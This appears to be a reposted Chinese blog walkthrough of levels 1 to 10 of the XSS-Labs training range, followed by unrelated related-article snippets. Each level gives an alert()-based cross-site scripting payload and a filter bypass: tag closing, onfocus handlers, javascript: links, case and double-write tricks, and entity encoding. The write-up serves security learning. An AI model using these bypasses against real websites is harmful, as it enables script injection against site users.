《XSS-Labs》01. Level 1~10

news2024/11/25 4:23:25

XSS-Labs

  • 索引
  • Level-1
    • 题解
  • Level-2
    • 题解
  • Level-3
    • 题解
    • 总结
  • Level-4
    • 题解
  • Level-5
    • 题解
    • 总结
  • Level-6
    • 题解
  • Level-7
    • 题解
  • Level-8
    • 题解
  • Level-9
    • 题解
  • Level-10
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/do0dl3/xss-labs

只要手动注入恶意 JavaScript 脚本成功,就可以证明 xss 漏洞存在。
最简单的验证方法:<script>alert("xss");</script>

索引

  • Level-1:简单的 <script>alert('xss')</script>
  • Level-2:标签闭合构造 payload。
  • Level-3:onfocus 事件利用,js 伪协议。
  • Level-4:与 Level-3 没太大区别。
  • Level-5:<a> 标签 href 属性利用。
  • Level-6:大小写绕过。
  • Level-7:双写绕过。
  • Level-8:href 自动 Unicode 解码利用。
  • Level-9:与 Level-8 没太大区别。
  • Level-10:onfocus 利用,js 伪协议,表单属性。

Level-1

题解

查看网站源码,可以发现 GET 传递的 name 参数值插入了 html 里。

在这里插入图片描述

直接测试 payload

url + ?name=<script>alert('xss')</script>

在这里插入图片描述

Level-2

在这里插入图片描述

题解

先使用 <script>alert('xss')</script> 测试一下,未成功。

在这里插入图片描述

【ctrl】+【u】查看一下源码。可以看到第一个输出结果被 html 实体转义了,但 value 中的没有。

在这里插入图片描述

那就闭合标签来构造 payload

"> <script>alert(1)</script> <"

Level-3

在这里插入图片描述

题解

使用 <script>alert(1)</script> 测试。查看源码可以看到符号都被转义了。

在这里插入图片描述

那这里就利用 onfocus 事件绕过。利用这个事件来绕过 < 和 > 号的过滤来执行 js。

payload

' οnfοcus=javascript:alert() '

在这里插入图片描述

再次点击输入框就能执行脚本。

总结

JavaScript 中的事件是与 HTML 元素相关联的动作或发生的情况,可以通过 JavaScript 代码来捕获和处理。

事件可以是用户交互,例如鼠标点击、键盘按键,也可以是浏览器或文档的状态变化,例如文档加载完成或元素的属性改变。
事件处理允许程序员编写响应用户操作或应用程序状态变化的代码。

onfocus 事件

在这里插入图片描述

  • onfocus 事件在元素获得焦点时触发,最常与 <input><select><a> 标签一起使用。
  • 以上面图片为例,<input> 标签有输入框,当输入框被点击的时候,就会触发 myFunction() 函数。
  • 可以配合 javascript 伪协议来执行 js 代码。

Level-4

在这里插入图片描述

题解

原理与 Level-3 一样,只是要闭合的引号从单引号变成了双引号。

payload

" οnfοcus=javascript:alert() "

Level-5

在这里插入图片描述

题解

测试 " onfocus=javascript:alert() ",查看源码,过滤了 onfocus,且大小写绕过不管用。

在这里插入图片描述

利用 <a> 标签 href 属性。前提是【>】【<】【"】没失效。

payload

"> <a href=javascript:alert(1)>xss</a> <"

点击链接即可。

在这里插入图片描述

总结

<a> 标签 href 属性。

在这里插入图片描述

  • href 属性:当标签 <a> 被点击的时候,会触发跳转,上面是转跳到一个网站,也可以利用伪协议来触发执行一段 js 代码。

Level-6

题解

输入关键字测试一下:

onfocus <script> <a href=javascript:alert()>

在这里插入图片描述

可以看到都被过滤了。

但是可以大小写绕过。

oNfocus <sCript> <a hRef=jAvascript:alert()>

在这里插入图片描述

payload:任选其一即可。

"> <sCript>alert()</sCript> <"
" oNfocus=jAvascript:alert() "
"> <a hRef=jAvascript:alert()>xss</a> <"

Level-7

题解

传递下列关键字测试并查看源码。

oNfocus <sCript> <a hRef=jAvascript:alert()>

在这里插入图片描述

可以看到关键字被替换为空。

使用双写绕过。

payload

"> <scscriptript>alert()</scscriptript> <"

Level-8

在这里插入图片描述

题解

这题会把输入添加到一个链接。

除此以外过滤了很多东西。

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

在这里插入图片描述

利用 href 能自动 Unicode 解码的属性,可以使用伪协议插入一段 js 脚本。

在线Unicode编码解码:https://www.matools.com/code-convert-unicode

javascript:alert()
Unicode 编码:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

点击友情链接即可。

Level-9

在这里插入图片描述

题解

根据提示,添加 http:// 字样绕过检测。http:// 要用注释符注释。

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

Level-10

题解

先传递一个 <script>alert('xss')</script> 看看源码。

url + ?keyword=<script>alert('xss')</script>

在这里插入图片描述

都被转义了,但下面有几个隐藏的表单?

尝试用每个 name GET 传参。然后查看源码。

url + ?t_link=l&t_history=h&t_sort=s

在这里插入图片描述

可以看到有回显。那就利用这个表单构造 payload。

payload

url + ?t_sort=" οnfοcus=javascript:alert() type="text

燕语如伤旧国春,宫花一落已成尘。

——《隋宫燕》(唐)李益

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1056832.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多目标平衡优化器黏菌算法(MOEOSMA)求解CEC2020多模式多目标优化

多目标平衡优化器黏菌算法&#xff08;MOEOSMA&#xff09;比现有的多目标黏菌算法具有更好的优化性能。在MOEOSMA中&#xff0c;动态系数用于调整勘探和开采趋势。采用精英存档机制来促进算法的收敛性。使用拥挤距离法来保持Pareto前沿的分布。采用平衡池策略模拟黏菌的协同觅…

开放式耳机怎么选择、300之内最好的耳机推荐

开放式耳机凭借不入耳、不伤耳、安全更舒适的佩戴体验&#xff0c;得到了越来越多音乐爱好者和专业人士的青睐。开放式耳机不需要插入耳道&#xff0c;在佩戴时可以更加自然和轻松&#xff0c;减少了长时间佩戴引起的不适感&#xff0c;而且不会完全隔绝外界声音&#xff0c;用…

手机号码格式校验:@PhoneQuery(作为查询参数)(自定义参数校验注解)

目标 自定义一个用于校验&#xff08;作为查询参数的&#xff09;手机号码格式的注解PhoneQuery&#xff0c;能够和现有的 Validation 兼容&#xff0c;使用方式和其他校验注解保持一致。 校验逻辑 可以为 null 或 空字符串&#xff1b;不能包含空格&#xff1b;必须为数字序…

Mysql主从复制数据架构全面解读

大家好&#xff0c;我是山子&#xff0c;今天给大家分析Mysql 实现主从复制的方方面面&#xff0c;主从复制当然也是我们做读写分离的前提&#xff0c;以下内容是从各网络平台摘录整理总结归纳在一起的&#xff1b;内容已经从主从复制的各方面的维度进行了阐述&#xff1b;非常…

百元价位开放式耳机哪款好、百元耳机性价比最高的开放式耳机推荐

现如今越来越多的人选择开放式耳机&#xff0c;因为开放式耳机具有多重优点&#xff0c;首先是舒适性。由于它们不需要插入耳道&#xff0c;长时间佩戴也不会产生不适感。其次&#xff0c;开放式耳机在保持与外界的连接上表现出色&#xff0c;使得户外活动更加安全。另外&#…

【Spring Cloud】基于 Feign 实现远程调用,深入探索 Feign 的自定义配置、性能优化以及最佳实践方案

前言 在微服务架构中&#xff0c;服务之间的通信是至关重要的&#xff0c;而远程调用则成为实现这种通信的一种常见方式。在 Java 中&#xff0c;使用 RestTemplate 是一种传统的远程调用方式&#xff0c;但它存在一些问题&#xff0c;如代码可读性差、编程体验不一致以及参数…

笔记二:odoo搜索、筛选和分组

一、搜索 1、xml代码 <!--搜索和筛选--><record id"view_search_book_message" model"ir.ui.view"><field name"name">book_message</field><field name"model">book_message</field><field…

愚蠢的代码?某程序员强行编写了一段开发阶段无法调试的代码,大佬们快来救救他!

文章目录 一、开场白1. 程序员打赌的故事2. 目标&#xff1a; 尽量在不修改代码的情况下将springmvc框架以独立jar方式运行 二、出师不利方案一、Spring Web工程转Spring Boot方案二、引入内置服务器jetty其余备用方案 三、柳暗花明遇见jetty-runner测试验证准备工作:部署工作 …

基于web的画作展示系统/作品展示平台

摘 要 网络的广泛应用给生活带来了十分的便利。所以把画作展示系统与现在网络相结合&#xff0c;利用JSP技术建设画作展示系统&#xff0c;实现画作展示系统的信息化。则对于进一步提高画作展示系统的发展&#xff0c;丰富画作展示系统经验能起到不少的促进作用。 画作展示系统…

selenium下载安装 -- 使用谷歌驱动碰到的问题

安装教程参考: http://c.biancheng.net/python_spider/selenium.html 1. 谷歌浏览器和谷歌驱动版本要对应(但是最新版本谷歌对应的驱动是没有的,因此要下载谷歌历史其他版本): 谷歌浏览器历史版本下载: https://www.chromedownloads.net/chrome64win/谷歌浏览器驱动下载: http:…

java并发编程 守护线程 用户线程 main

经常使用线程&#xff0c;没有对守护线程和用户线程的区别做彻底了解 下面写4个例子来验证一下 源码如下 /* Whether or not the thread is a daemon thread. */ private boolean daemon false;/*** Marks this thread as either a {linkplain #isDaemon daemon} thread*…

C进阶--字符函数和字符串函数介绍

✨ 更多细节参考 cplusplus.com/reference/cstring/ 使用方式&#xff1a; ⭕ 求字符串长度 &#x1f58c; strlen 函数原型&#xff1a; size_t strlen ( const char * str ); 作用&#xff1a; 获取字符串长度 ✨补充&#xff1a; ⭐字符串以 \0 作为结束标志&…

在移动固态硬盘上安装Ubuntu系统和ROS2

目录 原视频准备烧录 原视频 b站鱼香ros 准备 1.在某宝上买一个usb移动固态硬盘或固态U盘&#xff0c;至少64G 2.下载鱼香ros烧录工具 下载第二个就行了&#xff0c;不然某网盘的速度下载全部要一天 下载后&#xff0c;选择FishROS2OS制作工具压缩包&#xff0c;进行解压…

【Redis】五大数据类型 、历史概述、nosql分类

文章目录 NoSql概述NoSql年代缓存 Memcached MySQL垂直拆分&#xff08;读写分离&#xff09;分库分表水平拆分Mysql集群最近为什么要用 NoSqlNoSql的四大分类 Redis测试性能 五大数据类型keyStringSetHashZset 前言&#xff1a;本文为看狂神视频记录的笔记 NoSql概述 NoSql年…

【Django】4 Django模型

每个模型是一个Python 类&#xff0c;集成django.db.models.Modle类 该模型的每个属性表示一个数据库表字段 通过API 自动生成数据库访问 .../sign/modles.py 文件&#xff0c;通过模型完成表创建。 TypeError: ForeignKey.__init__() missing 1 required positional argumen…

ChatGPT多模态升级,支持图片和语音,体验如何?

一、前言 9 月 25 日&#xff0c;ChatGPT 多模态增加了新的语音功能和图像功能。这些功能提供了一种新的、更直观的界面&#xff0c;允许我们与 ChatGPT 进行语音对话或展示我们正在谈论的内容。 ChatGPT 现在可以看、听、和说话了&#xff0c;而不单单是一个文本驱动的工具了。…

算法通过村第十一关-位运算|白银笔记|高频题目

文章目录 前言1. 位移的妙用1.1 位1的个数1.2 比特位计算1.3 颠倒无符号整数 2. 位实现加减乘除专题2.1 位运算实现加法2.2 递归乘法 总结 前言 提示&#xff1a;他不是不想多明白些&#xff0c;但是每每在该用脑子的时候&#xff0c;他用了感情。 --老舍《黑白李》 与位运算和…

Centos7安装php-fpm

目录 第一步&#xff1a;查看系统IP地址和网卡名称 第二步&#xff1a;更改网络配置模式 第三步、重启network 查看iptablies ,将第十行&#xff0c;十一行删除 第四步&#xff1a;关闭config 第五步&#xff1a;创建nginx 文件夹 查看目录下的文件 进入nginx文件夹 第…

基于java的鲜花销售系统/网上花店

摘 要 本毕业设计的内容是设计并且实现一个基于Spring Boot框架的驿城鲜花销售系统。它是在Windows下&#xff0c;以MYSQL为数据库开发平台&#xff0c;Tomcat网络信息服务作为应用服务器。驿城鲜花销售系统的功能已基本实现&#xff0c;主要包括首页、个人中心、用户管理、鲜…

【VIM】初步认识VIM-2

2-6 Vim 如何搜索替换_哔哩哔哩_bilibili 1-6行将self改成this 精确替换quack单词为交